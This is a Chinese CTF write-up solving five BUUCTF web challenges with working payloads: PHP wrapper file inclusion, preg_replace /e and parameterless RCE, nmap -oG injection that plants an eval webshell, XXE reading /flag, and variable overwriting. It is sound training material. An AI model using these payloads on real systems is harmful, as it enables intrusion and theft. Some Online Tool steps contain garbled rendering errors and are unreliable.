第14天(共5题)
Web
[BJDCTF2020]ZJCTF,不过如此
打开网站直接显示源代码:
<?php
error_reporting(0); //关闭报错
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
这里会以GET方法获取两个参数:text
和file
,同时需要text
的内容等于"I have a dream",这里用到了data伪协议
构造URl:?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=
然后POST里面直接写I have a dream
(不用参数名)
因为网站会通过伪协议读取我们传给它的POST内容然后与"I have a dream"
进行比较
然后尝试在此基础上加上&file=next.php
,访问源代码提示的next.php
发现没有变化,那么直接访问next.php
试试,返回空白内容,说明可以访问这个文件但是网站不给我们显示,那么就用php://filter伪协议
构造URL:?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php
解码得到新的源代码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace的/e
可以让第二个参数'替换字符串'
当作代码执行,但是在这里第二个参数是不可变的,但正则表达式模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower(“\1”)正好表达的就是匹配区的第一个,因此如果成功匹配,那么就可以实现函数
\S*=${getFlag()}&cmd=system('ls');
注意代码里面的id
和session
是骗人的,没有用,在正则里面是$_GET,因此不用id传参数
传入后正则会变为preg_replace(‘/(’.\S*.‘)/ei’,‘strtolower(“\1”)’,getFlag());存储临时缓存区:\S*==>getFlag();strtolower(“\1”)匹配第一个,从而执行了getFlag()函数
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host); //转义',会在'前面加上\
$host = escapeshellcmd($host); //转义特殊字符,会在特殊字符前面加上\
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
这段源代码的含义就是用户传入GET方式的host参数,通过escapeshellarg
和escapeshellcmd
两个函数过后会拼接到namp命令后面并执行,这里可以让namp命令写入一句话木马,然后我们访问写入木马的文件
nmap命令中 有一个参数-oG
可以实现将命令和结果写到文件
我们需要构造:
nmap -T5 -sT -Pn --host-timeout 2 -F <?php @eval($_POST[123]); ?> -oG hack.php
即构造对应的URL:?host=' <?php @eval($_POST["cmd"]);?> -oG attack.php '
原理:
1、输入:$host=' <?php @eval($_POST["cmd"]);?> -oG attack.php '
2、escapeshellarg(host):KaTeX parse error: Expected group as argument to '\'' at position 10: host=''\''̲ <?php @eval(_POST[“hack”]);?> -oG attack.php ‘’‘’
首先会使用转义符\对单引号’进行转义’‘’,并在字符串两端加上单引号’‘’’ <?php @eval($_POST["hack"]);?> -oG hack.php ‘’‘’
3、escapeshellcmd(host):$host=‘’\‘’ <?php @eval($_POST[“hack”]);?> -oG attack.php ‘\’‘’ 对于上文包含的特殊符前会插入反斜杠进行转义,另外在不成对的单引号和双引号前也会插入反斜杠进行转义,此处单引号均成对儿无需转义。
4、最后\ 解释为\而非转义符,所以后面的单引号’‘成了空白连接符,一句话木马中的反斜杠均为转义字符,最后同为非转义字符,形成连接符。简化为:’‘’’ <?php @eval($_POST["hack"]);?> -oG attack.php ‘’‘’
5、带入到system("nmap -T5 -sT -Pn --host-timeout 2 -F ".KaTeX parse error: Expected group as argument to '\'' at position 49: …meout 2 -F ''\''̲ <?php @eval(_POST[“hack”]);?> -oG attack.php ‘’‘’
6、利用nmap -oG 参数将命令语句和执行结果存储到attack.php文件中,这样一句话木马就以php文件格式上传到目录上。
7、最后根据回显文件名利用蚁剑完成连接获取flag。 (摘抄自[BUUCTF 2018]Online Tool (escapeshellarg和escapeshellcmd双写利用)
24fbe2d98f2cf4e920e96ee6f605192d
是目录,访问http://58122894-5422-40a8-ad9e-c457a1dd71c6.node5.buuoj.cn:81/24fbe2d98f2cf4e920e96ee6f605192d/attack.php
返回以下界面说明写入木马代码成功
用蚁剑连接即可拿到flag
[GXYCTF2019]禁止套娃
打开网站无明显提示,并且源代码也没有找到解题思路,通过查看题解得知需要使用Dirsearch扫描到.git备份文件
使用GitHack
工具获取git泄露文件:
python GitHack.py http://94736b54-0c6d-4fb0-91cf-d059cbc893f1.node5.buuoj.cn:81/.git/
在工具目录下得到下载到的泄露源代码indeex.php
:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
大概意思就是代码不分大小写地过滤掉了
data://
filter://
php://
phar://
以及
et
na
info
dec
bin
hex
oct
pi
log
第二个判断函数是无参数RCE的典型例子,(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有,它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的
由于不能传参,所以只能利用函数回显套娃来代替目标参数
找到flag.php
的位置:
?exp=print_r(scandir(pos(localeconv())));
localeconv(),回显数组,第一个数组是字符"."点号
pos(),传入数组,回显第一个数组的值,pos可以用current代替
所以pos(localeconv())等价于.号
而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件
再配合print_r函数输出数组 (摘自[GXYCTF2019]禁止套娃–详解
)
执行得到:
说明flag.php在索引为2的地方,为了得到这个位置可以使用:
PHP array_reverse() 函数 (w3school.com.cn)数组反转
PHP next() 函数 (w3school.com.cn) 数组指针移动下一位
也就是:
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
成功拿到flag
[NCTF2019]Fake XML cookbook
这是一道XXE(xml外部实体注入)
类型的题目
通过查看源代码和抓包可以分析得到XML
XXE漏洞(XML外部实体注入)是一种安全漏洞,可以利用输入验证不严格的 XML 解析器来注入恶意代码。攻击者可以通过构造恶意的 XML 文档将其发送到应用程序中,在解析该文档时,XML 解析器会加载外部实体(如文件、URL等),以便在文档中引用它们。攻击者可以利用这个功能来执行各种攻击,例如读取服务器上的任意文件、发送内部网络请求、绕过身份验证等。
存在一个XML实体,我们可以构造恶意实体,尝试读取falg文件
尝试:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>111</password></user>
成功拿到flag
[GWCTF 2019]我有一个数据库
打开是一个个人博客网页
并且也是.git文件
泄露,使用GitHack
工具进行获取:
python GitHack.py http://0d139d93-9637-4efe-b463-ad37bd4770d4.node5.buuoj.cn:81/.git/
得到源代码
flag.php
:
<?php
$flag = file_get_contents('/flag');
index.php
:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
分析代码知道flag就在flag.php文件里,而index.php包含flag.php文件,并且满足特定条件就会输出flag
这里先解释一下:
foreach($_POST as $x => $y){
$$x = $y;
假如有一个数组是$_POST = array( 'name' => 'John Doe', 'age' => 30 );
(当然实际的$_POST其实是POST传参的数组),那么 $x会依次保存当前索引的键名,$y则保存当前键名对应的值
解法1
在这里我们需要利用exit($handsome);
进行输出flag,因为要满足所有条件并通过最后的echo输出flag是不现实的,只能通过每个exit
函数进行输出flag(所以每个exit
都代表一种解法),为了让$handsome
等于flag的值,这里需要用到变量覆盖的知识点:
$handsome = flag的值 ---> $handsome = $flag --> $x=handsome & $y=flag
这样的话$$x就相当于$handsome ,$y还是等于flag
所以构造URL:?handsome=flag&flag=b&b=flag
这里的flag=b&b=flag
是什么意思?分析第一个if,
if($_GET['flag'] === $x && $x !== 'flag')
代码要求键名为flag的值等于键名$x,并且键名$x的值不等于"flag"
,那么这样一分析就能理解了
得到flag(注意flag在页面最下方,需要滑到底部才能看到)
解法2:
满足第二个if,if(!isset($_GET['flag']) && !isset($_POST['flag']))
这里不能设置GET方法的flag和POST方法的flag
输出flag通过$yds:exit($yds);
那么直接设置URL:?yds=flag
解法3:
满足第三个if,if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')
直接设置POST或者GET方法的flag
等于flag
URL:?is=flag&flag=flag
解法3:
按照前面的说法,本来是不能完全绕过所有if,最后输出echo的,但是其实还是可以的,因为我们可以绕过if($_GET['flag'] === $x && $x !== 'flag')
,注意这里用到的是强类型比较
三个等号
可以构造URL:?1=flag&flag=1
这里PHP会把键名1
当作int
型,把键名为flag
的值1
当作string
型,因此因为强类型比较的原因if判断通过不了,最后就会执行echo "the flag is: ".$flag;
得到flag